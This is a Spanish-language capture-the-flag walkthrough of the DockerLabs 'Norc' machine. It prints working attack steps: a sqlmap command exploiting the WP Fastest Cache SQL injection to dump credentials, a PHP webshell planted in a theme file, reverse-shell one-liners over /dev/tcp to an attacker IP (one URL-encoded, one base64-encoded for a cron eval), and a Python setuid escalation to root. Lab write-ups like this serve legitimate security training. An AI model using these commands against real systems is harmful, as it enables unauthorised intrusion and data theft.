# DockerLabs Norc

Para poder hacer uso de esta máquina primero debemos descargar los archivos y así desplegarlo con Docker.

Descargamos el archivo de la página [dockerlabs.es/#](http://dockerlabs.es/#)

Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos 2 archivos.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724296526916/533f952e-2474-4bb6-9c89-1d109e34084b.png align="center")

Para desplegar el laboratorio ejecutamos de la siguiente manera, así también podemos ver que nos indica la dirección que tendremos, así también el que hacer cuando terminemos este.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724296535293/e080809f-cfb6-4d6f-a783-034e62a047ec.png align="center")

Realizamos un escaneo de la dirección IP y podemos observar que tenemos 2 puertos.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724296550516/94fbed5e-20f4-467b-b1a5-bf3f9c2ec234.png align="center")

Si leemos lo encontrado en el puerto 80 podemos observar que identifica un dominio `norc.labs`. Agregamos este dominio en nuestra `/etc/hosts`. Luego de agregarlo nos dirigimos al dominio y podemos observar que es un login donde solo debemos ingresar un password.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724296557167/a4512cf4-4f8c-4f6c-9e40-79e9b5708a76.png align="center")

Antes de probar algo usaremos `gobuster` para observar si identifica algo adicional, pero nos da un error.

Revisamos el enlace a donde nos redirige y observamos un URL interesante.

```css
http://norc.labs/?password-protected=login&redirect_to=http%3A%2F%2F172.17.0.2%2F
```

Por ello iniciaremos burpsuite e interceptaremos la consulta.

Revisando el código observamos que tiene elementos de WordPress, así que de manera manual ingresamos `wp-admin` y podemos observar el siguiente URL

```css
http://norc.labs/ghost-login?redirect_to=http%3A%2F%2Fnorc.labs%2Fwp-admin%2F&reauth=3
```

Ingresamos una credencial por defecto y podemos ver que no dice que nos faltan 2 intentos, así que dejamos de probar credenciales.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724296591366/44dad14f-70fa-463c-b8b9-a1f9a6eefedc.png align="center")

Usando `wappalyzer` nos indica que es `Drupal` lo cual es raro.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724296641660/f2f4f78a-cf73-49e1-b172-a26e301ad178.png align="center")

Ya que identificamos que parece ser un Drupal como un WordPress, realizamos el escaneo con esta base. Realizamos fuzzing con un diccionario de Drupal y podemos ver que solo identifico un `robots.txt`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724296650153/16aea75e-c0cf-4c58-8c89-2b69b5e44712.png align="center")

Si nos dirigimos a la web observamos que solo tenemos una dirección en el `sitemap`, pero al abrirlo nos redirecciona al login.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724296680283/a839403a-e8e6-4218-91cf-0010b971f2b4.png align="center")

Realizamos un fuzzing con el diccionario de WordPress podemos observar más resultados.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724296695937/ff889d57-f3dc-47dc-ac4a-ac6afa8c802e.png align="center")

Pero no identifico ningún plugin así que buscaremos un diccionario de solo plugins y probaremos con ese. Buscando encontramos este diccionario que tiene varios plugins. [https://github.com/kongsec/Wordpress-BruteForce-List/blob/main/Fuzz](https://github.com/kongsec/Wordpress-BruteForce-List/blob/main/Fuzz) Ejecutamos y podemos observar varios plugins que nos pueden ser útiles.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724296708432/040eb460-b02b-4f12-a463-4935b1555337.png align="center")

Entre todos los que encontramos este contenía buena información.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724296726520/6b84418a-9f99-434b-b117-9e73818907bc.png align="center")

Al dirigirnos a la dirección web

```bash
http://norc.labs/wp-content/plugins/wp-fastest-cache/readme.txt
```

observamos que se trata de la versión `1.2.1`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724296739075/886b6350-0481-40e8-8b8a-95d79aa2d4f2.png align="center")

Buscando un exploit para esta versión podemos observar que hay una [POC](https://github.com/motikan2010/CVE-2023-6063-PoC) la cual solo debemos copiar el ejemplo y de esta manera obtenemos unas credenciales.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724296751731/5aa6cd40-1a4e-4fc4-b477-40111a95aa28.png align="center")

Ejecutamos de esta manera y agregamos el parámetro `--dump`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724296763441/8fda3acb-cb50-453d-b7bb-f5ffbb8c2de0.png align="center")

Luego de unos minutos podemos observar lo siguiente.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724296774029/6e52a804-ef69-4e3b-9ddd-cfeed2f26570.png align="center")

Nos interesa la DB de `wordpress` y para evitar que demore cancelamos la consulta y volvemos a ejecutar la consulta, pero agregamos el nombre de la base de datos.

Si no conociéramos cuáles son las tablas que conforman una base de datos de WordPress sería agregar el comando `-D wordpress` y esperar a que liste las tablas. Pero podemos insertar la tabla `wp_users` que forma parte de esta.

Para más información sobre ello visitar [tablas WordPress](https://ayudawp.com/las-tablas-de-la-base-de-datos-de-wordpress-cuales-son-para-que-sirve-cada-una/).

Agregamos el nombre de la tabla que nos interesa `wp-users`, también ingresamos `--batch` para que sqlmap asuma la respuesta por defecto.

```bash
sqlmap --dbms=mysql -u "http://norc.labs/wp-login.php" --cookie='wordpress_logged_in=*' --level=2 -D wordpress -T wp_users --dump --batch
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724296787364/01f03615-1522-4661-bac2-fb22e399ed17.png align="center")

Esperamos unos minutos y podemos observar que obtuvimos unas credenciales.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724296818584/41b368ec-e9d6-4aba-8773-d8a6e97fde76.png align="center")

```bash
pass:$P$BeNShJ/iBpuokTEP2/94.sLS8ejRo6.
email:admin@oledockers.norc.labs
userlogin:admin
```

Si desconocemos el formato, podemos llevarlo aún identificador y observar lo que nos indica.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724296826168/522201f5-7f96-45cd-8cb3-32effba6313b.png align="center")

Como el password está encriptado tratamos de romperlo usando John, pero no nos da un resultado.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724296836491/5d8e6061-b436-47c4-875d-915a21666dc6.png align="center")

Revisando la información que obtuvimos debemos notar que el email contiene un subdominio el cual agregamos a nuestro host.

```bash
oledockers.norc.labs
```

Luego de agregarlo nos dirigimos a la dirección desde el navegador y podemos observar un usuario y un password.

```bash
admin:wWZvgxRz3jMBQ ZN
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724296849542/e205ab36-1068-430d-8ff4-21425bbdbf8d.png align="center")

Nos dirigimos al panel de WordPress que encontramos e ingresamos las credenciales.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724296859222/7c6483e8-9e1c-4778-9412-4a2dc8cad4de.png align="center")

Ya estamos dentro.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724296871708/7dc65323-29a2-4331-96a8-a1fe8caa8aad.png align="center")

Como siempre hacemos cuando ingresamos WordPress probaremos agregando una webshell en el archivo `functions.php` del tema `twenty twenty-two` y guardamos los cambios.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724296879671/7cdaafed-ed8c-4f68-a253-94b1defb529d.png align="center")

Ahora para acceder a esta webshell usamos la siguiente dirección que contiene la ubicación del archivo y si agregamos el parámetro podemos ver que se ejecuta el comando `id`.

```bash
http://norc.labs/wp-content/themes/twentytwentytwo/functions.php?cmd=id
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724296900005/ee57bad2-3e1b-4000-bac9-47678be1d041.png align="center")

Ya que podemos ejecutar comandos estableceremos una shell. Para ello iniciaremos nuestro listener con `nc`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724296912051/d1dde2ce-b0e9-48bc-a562-d646dd7da98a.png align="center")

Deberemos establecer nuestra consulta.

```bash
bash -c \ "bash -i >& /dev/tcp/172.17.0.1/1234 0>&1\ "'
```

Para evitar problemas con los símbolos lo URL-encodeamos.

```js
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F1234%200%3E%261%22
```

Y enviamos, el URL debería ser así.

```bash
http://norc.labs/wp-content/themes/twentytwentytwo/functions.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F1234%200%3E%261%22
```

Al momento de enviar en nuestro listener ya deberíamos poder ver que se estableció conexión.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724296972289/227b59e9-d9e8-4e76-8813-d120bf9012fe.png align="center")

Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos.

```bash
script /dev/null -c bash
```

Luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty.

```bash
stty raw -echo; fg
				reset xterm
```

Para obtener más características usamos

```bash
export TERM=xterm
```

para la variable de entorno

```bash
echo $SHELL
```

y para pasar a bash usamos

```bash
export SHELL=/bin/bash
```

para establecer el tamaño adecuado de la consola ingresamos

```bash
stty rows 59 cols 236
```

de esta manera ya nos podemos mover con más libertad en la consola.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724297077848/173972aa-0f23-4ee1-9a4a-ab0ffe4e345a.png align="center")

Realizamos un `sudo -l` y podemos observar que no tenemos el comando `sudo`, realizamos un listado de permisos SUID y podemos observar el archivo `exim4`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724297085340/084d4c92-c4f4-4e1c-8468-dc9d40042e64.png align="center")

Pero revisando las versiones vulnerables que nos pueden servir son las menores a la versión `4.86.2` y nuestra versión es la `4.96`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724297093607/511f3cc4-e04a-43e4-ba01-80b7084ae7cd.png align="center")

Ya que no podemos explotar este permiso SUID, listaremos capabilities y podemos observar que tenemos la de Python3.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724297110386/4f8c25a9-c2d0-4c5c-b80c-aa4b19dcb90c.png align="center")

Porque se trata de una `capabilitie` también podemos ir a la página [GTFOBins](https://gtfobins.github.io/gtfobins/python/#capabilities) y buscar la `capabilitie` para Python y podremos observar lo siguiente.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724297143484/c0f03238-4ed1-4a54-a92c-176c4f0e29a9.png align="center")

```python
import os
# Cambiar el ID de usuario efectivo a 0 (root)
os.setuid(0)
# Iniciar una shell con privilegios elevados
os.system("/bin/bash")
```

Tratamos de ejecutar el comando, pero vemos que no podemos.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724297160529/5d777b70-3713-4694-a55c-3afb95966e0a.png align="center")

Debemos buscar un password o un ID por ello vamos a la carpeta home y observamos que hay una carpeta `kvzlx` y podemos acceder dentro de ella. Listamos los archivos y observamos un archivo `.cron_script.sh` que pertenece a `kvzlx`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724297175664/56c4862d-7009-4201-9a6e-74eceb968c31.png align="center")

Revisando el script podemos observar que decodifica un password y lo guarda en una carpeta temporal y que `eval` no sanitiza el texto que lee.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724297208268/419d0376-4500-4594-987b-79261b37fa96.png align="center")

Nos dirigimos a la carpeta `/tmp` para observar el archivo, pero este se encuentra vacío y si vamos a la carpeta `www/html` para observar el otro archivo oculto este no existe.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724297223140/6e7721c8-f549-4742-ba93-7096a003816b.png align="center")

Empleamos `ps aux` para ver si se ejecuta el script, pero no podemos ver por nuestros permisos.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724297249749/be83c4b1-5cda-4e3b-88a4-51d8c614246c.png align="center")

Ya que no podemos usaremos `pspy64`, para ello descargamos `pspy64` e iniciamos un servidor con Python.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724297257688/dbfb5b6d-cc30-4ee0-bf20-987d0450aacd.png align="center")

Nos dirigimos a la carpeta `tmp` y descargamos el archivo.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724297267554/3bd7e5f9-daa5-47ff-a4b7-9de4aa6e1974.png align="center")

Brindamos permisos de ejecución y lo ejecutamos.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724297273302/4c2bf081-5a7d-4f25-a876-2b463724ea56.png align="center")

Luego de unos segundos podemos observar que el archivo `.cron_`[`script.sh`](http://script.sh) se ejecuta frecuentemente.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724297282928/ffae759f-6753-44e4-afdc-f6fd6a6bb8ce.png align="center")

Como el script no sanitiza cuando ejecuta el comando `eval` podemos abusar de este y obtener un Shell.

```bash
echo "bash -c 'bash -i >& /dev/tcp/172.17.0.1/1235 0>&1'"| base64
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724297298311/fe348129-47c4-4f57-91e4-1e01d42cb796.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724297305026/a3849d16-4a3a-44ce-96fc-d00ca1db9000.png align="center")

Arrancamos el servicio en `nc`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724297314706/cef02634-c5b8-4ab0-8e1e-d1c50f26e08a.png align="center")

Esperamos unos minutos y podemos observar que se estableció conexión.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724297334752/3ad6848a-859f-47a3-99c9-46acf0783f3f.png align="center")

Luego de establecer conexión volvemos a realizar el tratamiento de la `TTY` como hicimos al comienzo. Ya que ingresamos como `kvzlx` probamos si también tenemos las mismas capabilities que en `www-data` y podemos observar que sí tenemos la capabilities.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724297342986/20615ce3-f25e-4921-aa55-ac5d7ec5b339.png align="center")

Como ya creamos el archivo en `tmp` solo lo ejecutaremos.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724297393903/c436717b-0770-4790-ae1d-7dd920f418af.png align="center")

Ejecutamos el archivo y podemos observar que ya somos root. De esta manera culminando esta máquina.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724297403267/9e86fb7e-3a11-437e-8256-129a9f90e470.png align="center")
